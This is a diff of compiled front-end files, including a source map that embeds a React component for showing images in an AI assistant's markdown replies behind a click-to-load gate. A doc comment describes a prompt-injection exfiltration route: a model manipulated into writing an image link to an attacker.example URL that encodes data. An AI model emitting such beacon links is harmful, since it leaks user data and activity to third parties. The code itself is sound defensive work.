role=\"dialog\"\n aria-modal=\"true\"\n // Focusable as a last resort: if the overlay ever has no focusable\n // control, focus still has somewhere to land INSIDE the modal\n // rather than escaping to the page behind it.\n tabIndex={-1}\n aria-label={\n label\n ? tr('healthybowl.assistant.markdown.imagePreviewNamed', 'Image preview: {{alt}}', { alt: label })\n : tr('healthybowl.assistant.markdown.imagePreview', 'Image preview')\n }\n onClick={handleOverlayClick}\n // Scrim: a token tint of the app canvas rather than a literal black,\n // so it tracks the active theme instead of forking it.\n className=\"fixed inset-0 z-50 flex items-center justify-center bg-bg-canvas/95 p-6 backdrop-blur-sm focus:outline-none motion-safe:transition-opacity\"\n data-testid=\"assistant-markdown-image-lightbox\"\n >\n <button\n ref={closeRef}\n type=\"button\"\n onClick={close}\n aria-label={tr('healthybowl.assistant.markdown.closePreview', 'Close image preview')}\n className=\"absolute right-4 top-4 flex size-9 items-center justify-center rounded-full border border-border-subtle bg-bg-surface text-text-secondary transition-colors hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-close\"\n >\n <X className=\"size-4\" />\n </button>\n\n <figure className=\"flex max-h-full min-w-0 flex-col items-center gap-2\">\n <img\n src={src}\n alt={label}\n referrerPolicy=\"no-referrer\"\n onError={() => {\n setFailed(true);\n close();\n }}\n className=\"max-h-[80vh] max-w-full rounded-lg object-contain\"\n data-testid=\"assistant-markdown-image-full\"\n />\n {label && <figcaption className=\"max-w-x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AA;EACjB,CAAA,GAER,kBAAC,UAAD;GAAQ,WAAU;aAAlB,CACE,kBAAC,OAAD;IACO;IACL,KAAK;IACL,gBAAe;IACf,eAAe;KAEb,AADA,EAAU,EAAI,GACd,EAAM;IACR;IACA,WAAU;IACV,eAAY;GACb,CAAA,GACA,KAAS,kBAAC,cAAD;IAAY,WAAU;cAAoD;GAAkB,CAAA,CAChG;IACL;KACL,SAAS,IACX,CACF,EAAA,CAAA;AAEN"}
1
+ {"version":3,"file":"AssistantMarkdownImage.js","names":[],"sources":["../../../src/components/assistant/AssistantMarkdownImage.tsx"],"sourcesContent":["/**\n * Image rendered inside an assistant markdown reply (Workstream 5).\n *\n * The assistant can answer with a picture — a chart it generated in the sandbox,\n * or an annotated copy of a leaf photo the farmer just uploaded — either as a\n * URL or as an inline `data:image/*;base64` payload. Both arrive as a plain\n * markdown `![alt](src)`, so this component is what `AssistantMarkdownRenderer`\n * maps `img` to.\n *\n * Four things markdown does not give us for free, all of which matter in a\n * ~440px docked panel:\n *\n * 1. **Bounded height.** An unconstrained portrait photo pushes the whole\n * conversation off-screen. The thumbnail is capped and letterboxed\n * (`object-contain`), never cropped, so the farmer still sees the subject.\n * 2. **Click to enlarge.** Detail lost at thumbnail size (a lesion on a leaf,\n * an axis label) is recoverable in a full-viewport lightbox.\n * 3. **A graceful failure.** Presigned URLs expire and sandbox links die; the\n * browser's broken-image glyph tells the farmer nothing, so a dead image\n * degrades to its alt text in a bordered placeholder instead.\n * 4. **No silent third-party fetch.** See `isRemoteImageSrc` — a markdown image\n * in an assistant reply is untrusted content, and an `<img>` is a GET the\n * browser makes for us the instant it renders.\n */\n\nimport { useCallback, useEffect, useRef, useState, type FC, type MouseEvent as ReactMouseEvent } from 'react';\nimport { createPortal } from 'react-dom';\nimport { Eye, ImageOff, X } from 'lucide-react';\nimport { useAssistantTr } from '@burdenoff/fe-libs/shared/assistant';\n\n/**\n * Would rendering this `src` immediately hit a server we do not control?\n *\n * An `<img>` is a GET the browser performs the moment it paints, and the markup\n * here is written by a model that has read tool output, fetched web pages and\n * user-uploaded files. So `![](https://attacker.example/p?d=<whatever the model\n * was talked into encoding>)` is a working exfiltration beacon that also\n * discloses that a HealthyBowl user opened the reply, when, and from which IP —\n * with no click required. `referrerPolicy` does not help: the payload is the URL\n * itself, not the Referer header.\n *\n * `data:` URLs carry their own bytes and reach no network, so those still render\n * straight away — and that is the shape the transport actually emits for inline\n * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit\n * click, the same bargain email clients have offered for remote images for\n * twenty years. Unparseable input fails CLOSED.\n */\nexport function isRemoteImageSrc(src: string): boolean {\n if (/^data:/i.test(src.trim())) return false;\n return true;\n}\n\n/**\n * Host to name in the \"show this?\" prompt, so the choice is an informed one.\n *\n * Parsed with NO base URL on purpose. Resolving against `location.href` would\n * make a relative or malformed src inherit OUR hostname, and the prompt would\n * then read \"Show image from app.gethealthybowl.com\" for something this app does\n * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s)\n * only; everything else falls back to the generic wording.\n */\nexport function imageHostLabel(src: string): string | null {\n try {\n const url = new URL(src.trim());\n return url.protocol === 'http:' || url.protocol === 'https:' ? url.hostname : null;\n } catch {\n return null;\n }\n}\n\ninterface Props {\n /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */\n src?: string;\n alt?: string;\n title?: string;\n}\n\n/**\n * Open lightboxes, innermost last.\n *\n * More than one CAN be open: until the focus trap below existed, Tab walked out\n * of an open lightbox and straight into the thumbnails behind it, so a second\n * one could be opened on top of the first. Both would then hold a document-level\n * focus trap, and two traps pulling focus at each other recurse until the tab\n * hangs. Only the top of the stack acts.\n */\nconst openLightboxes: HTMLElement[] = [];\n\nexport const AssistantMarkdownImage: FC<Props> = ({ src, alt, title }) => {\n const tr = useAssistantTr();\n const [failed, setFailed] = useState(false);\n const [open, setOpen] = useState(false);\n // Per-image consent for a third-party fetch. Deliberately NOT persisted: the\n // decision belongs to the reply the user is looking at, not to the origin.\n const [allowedRemote, setAllowedRemote] = useState(false);\n const triggerRef = useRef<HTMLButtonElement>(null);\n const closeRef = useRef<HTMLButtonElement>(null);\n const overlayRef = useRef<HTMLDivElement>(null);\n const fallbackRef = useRef<HTMLSpanElement>(null);\n\n const label = alt?.trim() ?? '';\n const isGated = Boolean(src) && isRemoteImageSrc(src!) && !allowedRemote;\n\n // The ONE condition, shared by the effect below and the portal it manages.\n //\n // Keying the effect on `open` alone would have been wrong: state other than\n // `open` can drop the overlay — the thumbnail's onError firing while the\n // lightbox is up (an expired presigned URL is the realistic case), or `src`\n // going away. The portal would unmount with no cleanup, leaving the document\n // listeners attached, a dead entry on the stack and — the part the user\n // feels — `body` scroll locked to `hidden` for the rest of the session.\n const lightboxOpen = open && !isGated && !failed && Boolean(src);\n\n // While the lightbox is up it owns focus, scrolling and the Escape key.\n //\n // All of that lives at DOCUMENT level rather than on the overlay's own\n // onKeyDown, because a React key handler on the overlay only fires while\n // focus is inside it — and focus leaves the moment the user clicks the\n // backdrop or the picture itself (neither is focusable, so focus falls to\n // <body>). From there Escape did nothing and Tab walked the page behind the\n // modal. One effect owns setup and teardown, so every close path (Escape,\n // backdrop, close button, a dead image, unmount) restores scrolling and moves\n // focus back into the transcript.\n useEffect(() => {\n if (!lightboxOpen) return;\n\n const overlay = overlayRef.current;\n const previousOverflow = document.body.style.overflow;\n // Captured now, while the thumbnail is certainly still mounted, so the\n // cleanup restores focus to the element that actually opened this.\n const trigger = triggerRef.current;\n document.body.style.overflow = 'hidden';\n if (overlay) openLightboxes.push(overlay);\n\n const isTopmost = () => openLightboxes[openLightboxes.length - 1] === overlayRef.current;\n\n // Resolved from the DOM rather than from `closeRef`, and CYCLED rather than\n // pinned, so a control added to the overlay later is reachable by keyboard\n // instead of silently unfocusable. Today the list is just the close button,\n // in which case cycling is indistinguishable from pinning.\n const focusables = (): HTMLElement[] =>\n Array.from(\n overlayRef.current?.querySelectorAll<HTMLElement>(\n 'button:not([disabled]), [href], input:not([disabled]), select, textarea, [tabindex]:not([tabindex=\"-1\"])'\n ) ?? []\n );\n\n const focusInside = () => {\n const el = overlayRef.current;\n if (!el) return;\n (focusables()[0] ?? el).focus();\n };\n\n focusInside();\n\n const handleKeyDown = (event: KeyboardEvent) => {\n if (!isTopmost() || event.isComposing) return;\n if (event.key === 'Escape') {\n // Capture phase, so this runs before the panel's own document-level\n // Escape handler and stops it: one press dismisses the image and leaves\n // the conversation open.\n event.stopPropagation();\n setOpen(false);\n return;\n }\n if (event.key === 'Tab') {\n event.preventDefault();\n const list = focusables();\n if (list.length === 0) {\n overlayRef.current?.focus();\n return;\n }\n const current = list.indexOf(document.activeElement as HTMLElement);\n const step = event.shiftKey ? -1 : 1;\n const next = current < 0 ? 0 : (current + step + list.length) % list.length;\n list[next]?.focus();\n }\n };\n\n // Belt to the Tab handler's braces: covers focus moving by any route we did\n // not intercept (a click on non-focusable content, a screen reader's own\n // navigation, the address bar returning focus to <body>).\n const handleFocusIn = (event: FocusEvent) => {\n if (!isTopmost()) return;\n const el = overlayRef.current;\n if (el && !el.contains(event.target as Node)) focusInside();\n };\n\n document.addEventListener('keydown', handleKeyDown, true);\n document.addEventListener('focusin', handleFocusIn);\n\n return () => {\n // Detach the trap BEFORE restoring focus, or handleFocusIn would see\n // focus landing on the thumbnail and drag it back into a dead overlay.\n document.removeEventListener('keydown', handleKeyDown, true);\n document.removeEventListener('focusin', handleFocusIn);\n const index = overlay ? openLightboxes.indexOf(overlay) : -1;\n if (index >= 0) openLightboxes.splice(index, 1);\n document.body.style.overflow = previousOverflow;\n // On the `failed` close paths the thumbnail is replaced by the\n // \"Image unavailable\" placeholder in the SAME commit, so the captured\n // trigger is already detached and focusing it would silently strand the\n // user on <body> after dismissing a modal. Fall back to the placeholder.\n if (trigger?.isConnected) trigger.focus();\n // Read at CLEANUP time on purpose, which is the opposite of what the lint\n // rule assumes: while the lightbox was open this ref was null (the\n // placeholder does not render until `failed` flips), and the commit that\n // tears the overlay down is the same one that mounts it. Copying the\n // setup-time value would copy null.\n // eslint-disable-next-line react-hooks/exhaustive-deps\n else fallbackRef.current?.focus();\n };\n }, [lightboxOpen]);\n\n const close = useCallback(() => setOpen(false), []);\n\n const handleOverlayClick = (event: ReactMouseEvent<HTMLDivElement>) => {\n if (event.target === event.currentTarget) close();\n };\n\n if (src && isGated && !failed) {\n const host = imageHostLabel(src);\n return (\n <button\n type=\"button\"\n onClick={() => setAllowedRemote(true)}\n className=\"my-2 flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-left text-[0.9em] text-text-secondary transition-colors hover:border-border-strong hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-gated\"\n >\n <Eye className=\"size-4 flex-shrink-0\" aria-hidden=\"true\" />\n <span className=\"min-w-0\">\n <span className=\"block break-words\">\n {host\n ? tr('markdown.showRemoteImageNamed', 'Show image from {{host}}', { host })\n : tr('markdown.showRemoteImage', 'Show remote image')}\n </span>\n {label && <span className=\"block truncate text-[0.85em] text-text-muted\">{label}</span>}\n </span>\n </button>\n );\n }\n\n if (!src || failed) {\n return (\n <span\n ref={fallbackRef}\n // Focusable only programmatically: it is where focus lands when a\n // lightbox closes because its image died, so the user is not dumped on\n // <body> with no idea what happened.\n tabIndex={-1}\n className=\"my-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-[0.9em] text-text-muted focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-fallback\"\n >\n <ImageOff className=\"size-4 flex-shrink-0\" aria-hidden=\"true\" />\n <span className=\"min-w-0 break-words\">{label || tr('markdown.imageUnavailable', 'Image unavailable')}</span>\n </span>\n );\n }\n\n return (\n <>\n <button\n ref={triggerRef}\n type=\"button\"\n onClick={() => setOpen(true)}\n // A native button already answers \"click or Enter/Space opens it\" and\n // carries the right role — no key handling of our own needed.\n aria-label={\n label\n ? tr('markdown.enlargeImageNamed', 'Enlarge image: {{alt}}', { alt: label })\n : tr('markdown.enlargeImage', 'Enlarge image')\n }\n className=\"my-2 block max-w-full cursor-zoom-in overflow-hidden rounded-lg border border-border-subtle bg-bg-sunken focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image\"\n >\n <img\n src={src}\n alt={label}\n title={title}\n loading=\"lazy\"\n decoding=\"async\"\n // Belt to the gate's braces: once the user does opt in, do not also\n // hand the third party our URL — HealthyBowl paths carry ?workspace=\n // and ?org= identifiers.\n referrerPolicy=\"no-referrer\"\n onError={() => setFailed(true)}\n className=\"max-h-64 w-auto max-w-full object-contain\"\n />\n </button>\n\n {lightboxOpen &&\n typeof document !== 'undefined' &&\n createPortal(\n <div\n ref={overlayRef}\n role=\"dialog\"\n aria-modal=\"true\"\n // Focusable as a last resort: if the overlay ever has no focusable\n // control, focus still has somewhere to land INSIDE the modal\n // rather than escaping to the page behind it.\n tabIndex={-1}\n aria-label={\n label\n ? tr('markdown.imagePreviewNamed', 'Image preview: {{alt}}', { alt: label })\n : tr('markdown.imagePreview', 'Image preview')\n }\n onClick={handleOverlayClick}\n // Scrim: a token tint of the app canvas rather than a literal black,\n // so it tracks the active theme instead of forking it.\n className=\"fixed inset-0 z-50 flex items-center justify-center bg-bg-canvas/95 p-6 backdrop-blur-sm focus:outline-none motion-safe:transition-opacity\"\n data-testid=\"assistant-markdown-image-lightbox\"\n >\n <button\n ref={closeRef}\n type=\"button\"\n onClick={close}\n aria-label={tr('markdown.closePreview', 'Close image preview')}\n className=\"absolute right-4 top-4 flex size-9 items-center justify-center rounded-full border border-border-subtle bg-bg-surface text-text-secondary transition-colors hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-close\"\n >\n <X className=\"size-4\" />\n </button>\n\n <figure className=\"flex max-h-full min-w-0 flex-col items-center gap-2\">\n <img\n src={src}\n alt={label}\n referrerPolicy=\"no-referrer\"\n onError={() => {\n setFailed(true);\n close();\n }}\n className=\"max-h-[80vh] max-w-full rounded-lg object-contain\"\n data-testid=\"assistant-markdown-image-full\"\n />\n {label && <figcaption className=\"max-w-xl text-center text-xs text-text-secondary\">{label}</figcaption>}\n </figure>\n </div>,\n document.body\n )}\n </>\n );\n};\n"],"mappings":";;;;;;AA+CA,SAAgB,EAAiB,GAAsB;CAErD,OADA,CAAI,UAAU,KAAK,EAAI,KAAK,CAAC;AAE/B;AAWA,SAAgB,EAAe,GAA4B;CACzD,IAAI;EACF,IAAM,IAAM,IAAI,IAAI,EAAI,KAAK,CAAC;EAC9B,OAAO,EAAI,aAAa,WAAW,EAAI,aAAa,WAAW,EAAI,WAAW;CAChF,QAAQ;EACN,OAAO;CACT;AACF;AAkBA,IAAM,IAAgC,CAAC,GAE1B,KAAqC,EAAE,QAAK,QAAK,eAAY;CACxE,IAAM,IAAK,EAAe,GACpB,CAAC,GAAQ,KAAa,EAAS,EAAK,GACpC,CAAC,GAAM,KAAW,EAAS,EAAK,GAGhC,CAAC,GAAe,KAAoB,EAAS,EAAK,GAClD,IAAa,EAA0B,IAAI,GAC3C,IAAW,EAA0B,IAAI,GACzC,IAAa,EAAuB,IAAI,GACxC,IAAc,EAAwB,IAAI,GAE1C,IAAQ,GAAK,KAAK,KAAK,IACvB,IAAU,EAAQ,KAAQ,EAAiB,CAAI,KAAK,CAAC,GAUrD,IAAe,KAAQ,CAAC,KAAW,CAAC,KAAU,EAAQ;CAY5D,QAAgB;EACd,IAAI,CAAC,GAAc;EAEnB,IAAM,IAAU,EAAW,SACrB,IAAmB,SAAS,KAAK,MAAM,UAGvC,IAAU,EAAW;EAE3B,AADA,SAAS,KAAK,MAAM,WAAW,UAC3B,KAAS,EAAe,KAAK,CAAO;EAExC,IAAM,UAAkB,EAAe,EAAe,SAAS,OAAO,EAAW,SAM3E,UACJ,MAAM,KACJ,EAAW,SAAS,iBAClB,4GACF,KAAK,CAAC,CACR,GAEI,UAAoB;GACxB,IAAM,IAAK,EAAW;GACjB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SAAS;GACT,cAAY,EAAG,yBAAyB,qBAAqB;GAC7D,WAAU;GACV,eAAY;aAEZ,kBAAC,GAAD,EAAG,WAAU,SAAU,CAAA;EACjB,CAAA,GAER,kBAAC,UAAD;GAAQ,WAAU;aAAlB,CACE,kBAAC,OAAD;IACO;IACL,KAAK;IACL,gBAAe;IACf,eAAe;KAEb,AADA,EAAU,EAAI,GACd,EAAM;IACR;IACA,WAAU;IACV,eAAY;GACb,CAAA,GACA,KAAS,kBAAC,cAAD;IAAY,WAAU;cAAoD;GAAkB,CAAA,CAChG;IACL;KACL,SAAS,IACX,CACF,EAAA,CAAA;AAEN"}
@@ -1,47 +1,47 @@
1
- import { useTr as e } from "../../shared/hooks/useTr.js";
2
- import { Markdown as t, defaultUrlTransform as n } from "../../node_modules/react-markdown/lib/index.js";
3
- import r from "../../node_modules/remark-gfm/lib/index.js";
4
- import { defaultSchema as i } from "../../node_modules/hast-util-sanitize/lib/schema.js";
5
- import a from "../../node_modules/rehype-sanitize/lib/index.js";
6
- import { copyToClipboard as o } from "../../utils/clipboard.js";
7
- import { AssistantMarkdownImage as s } from "./AssistantMarkdownImage.js";
8
- import { useState as c } from "react";
9
- import { Check as l, Copy as u } from "lucide-react";
1
+ import { Markdown as e, defaultUrlTransform as t } from "../../node_modules/react-markdown/lib/index.js";
2
+ import n from "../../node_modules/remark-gfm/lib/index.js";
3
+ import { defaultSchema as r } from "../../node_modules/hast-util-sanitize/lib/schema.js";
4
+ import i from "../../node_modules/rehype-sanitize/lib/index.js";
5
+ import { copyToClipboard as a } from "../../utils/clipboard.js";
6
+ import { AssistantMarkdownImage as o } from "./AssistantMarkdownImage.js";
7
+ import { useState as s } from "react";
8
+ import { Check as c, Copy as l } from "lucide-react";
9
+ import { useAssistantTr as u } from "@burdenoff/fe-libs/shared/assistant";
10
10
  import { Fragment as d, jsx as f, jsxs as p } from "react/jsx-runtime";
11
11
  //#region src/components/assistant/AssistantMarkdownRenderer.tsx
12
12
  var m = {
13
- ...i,
13
+ ...r,
14
14
  protocols: {
15
- ...i.protocols,
16
- src: [...i.protocols?.src ?? [], "data"]
15
+ ...r.protocols,
16
+ src: [...r.protocols?.src ?? [], "data"]
17
17
  }
18
- }, h = /^data:image\/(?:png|jpe?g|gif|webp|avif|bmp);base64,[A-Za-z0-9+/=\s]+$/, g = (e, t, r) => t === "src" && r.tagName === "img" && h.test(e) ? e : n(e), _ = [r], v = [[a, m]];
19
- function y({ language: t, code: n }) {
20
- let r = e(), [i, a] = c(!1);
18
+ }, h = /^data:image\/(?:png|jpe?g|gif|webp|avif|bmp);base64,[A-Za-z0-9+/=\s]+$/, g = (e, n, r) => n === "src" && r.tagName === "img" && h.test(e) ? e : t(e), _ = [n], v = [[i, m]];
19
+ function y({ language: e, code: t }) {
20
+ let n = u(), [r, i] = s(!1);
21
21
  return /* @__PURE__ */ p("div", {
22
22
  className: "group relative my-2 overflow-hidden rounded-md border border-border-default bg-bg-sunken",
23
23
  children: [/* @__PURE__ */ p("div", {
24
24
  className: "flex items-center justify-between border-b border-border-default bg-bg-elevated px-3 py-1.5",
25
25
  children: [/* @__PURE__ */ f("span", {
26
26
  className: "font-mono text-[10px] uppercase tracking-wider text-text-muted",
27
- children: t || "code"
27
+ children: e || "code"
28
28
  }), /* @__PURE__ */ f("button", {
29
29
  type: "button",
30
30
  onClick: () => {
31
- o(n).then((e) => {
32
- e && (a(!0), setTimeout(() => a(!1), 2e3));
31
+ a(t).then((e) => {
32
+ e && (i(!0), setTimeout(() => i(!1), 2e3));
33
33
  });
34
34
  },
35
35
  className: "flex items-center gap-1 rounded px-1.5 py-0.5 text-[10px] text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary",
36
- "aria-label": r("healthybowl.assistant.markdown.copyCode", "Copy code"),
36
+ "aria-label": n("markdown.copyCode", "Copy code"),
37
37
  "data-testid": "assistant-markdown-copy-code",
38
- children: i ? /* @__PURE__ */ p(d, { children: [/* @__PURE__ */ f(l, { className: "size-3 text-status-success-text" }), /* @__PURE__ */ f("span", { children: r("healthybowl.assistant.markdown.copied", "Copied") })] }) : /* @__PURE__ */ p(d, { children: [/* @__PURE__ */ f(u, { className: "size-3" }), /* @__PURE__ */ f("span", { children: r("healthybowl.assistant.markdown.copy", "Copy") })] })
38
+ children: r ? /* @__PURE__ */ p(d, { children: [/* @__PURE__ */ f(c, { className: "size-3 text-status-success-text" }), /* @__PURE__ */ f("span", { children: n("markdown.copied", "Copied") })] }) : /* @__PURE__ */ p(d, { children: [/* @__PURE__ */ f(l, { className: "size-3" }), /* @__PURE__ */ f("span", { children: n("markdown.copy", "Copy") })] })
39
39
  })]
40
40
  }), /* @__PURE__ */ f("pre", {
41
41
  className: "overflow-x-auto p-3 text-xs leading-relaxed",
42
42
  children: /* @__PURE__ */ f("code", {
43
43
  className: "font-mono text-text-primary",
44
- children: n
44
+ children: t
45
45
  })
46
46
  })]
47
47
  });
@@ -121,7 +121,7 @@ var C = {
121
121
  children: e
122
122
  }),
123
123
  hr: () => /* @__PURE__ */ f("hr", { className: "my-3 border-border-default" }),
124
- img: ({ src: e, alt: t, title: n }) => /* @__PURE__ */ f(s, {
124
+ img: ({ src: e, alt: t, title: n }) => /* @__PURE__ */ f(o, {
125
125
  src: typeof e == "string" ? e : void 0,
126
126
  alt: t,
127
127
  title: n
@@ -183,15 +183,15 @@ var C = {
183
183
  className: x(e, "contains-task-list") ? "my-1.5 ml-0.5 list-none space-y-0.5" : "my-1.5 ml-5 list-disc space-y-0.5",
184
184
  children: t
185
185
  })
186
- }, w = ({ content: e }) => /* @__PURE__ */ f("div", {
186
+ }, w = ({ content: t }) => /* @__PURE__ */ f("div", {
187
187
  className: "break-words [&>*:first-child]:mt-0 [&>*:last-child]:mb-0",
188
188
  "data-testid": "assistant-markdown",
189
- children: /* @__PURE__ */ f(t, {
189
+ children: /* @__PURE__ */ f(e, {
190
190
  remarkPlugins: _,
191
191
  rehypePlugins: v,
192
192
  urlTransform: g,
193
193
  components: C,
194
- children: e
194
+ children: t
195
195
  })
196
196
  });
197
197
  //#endregion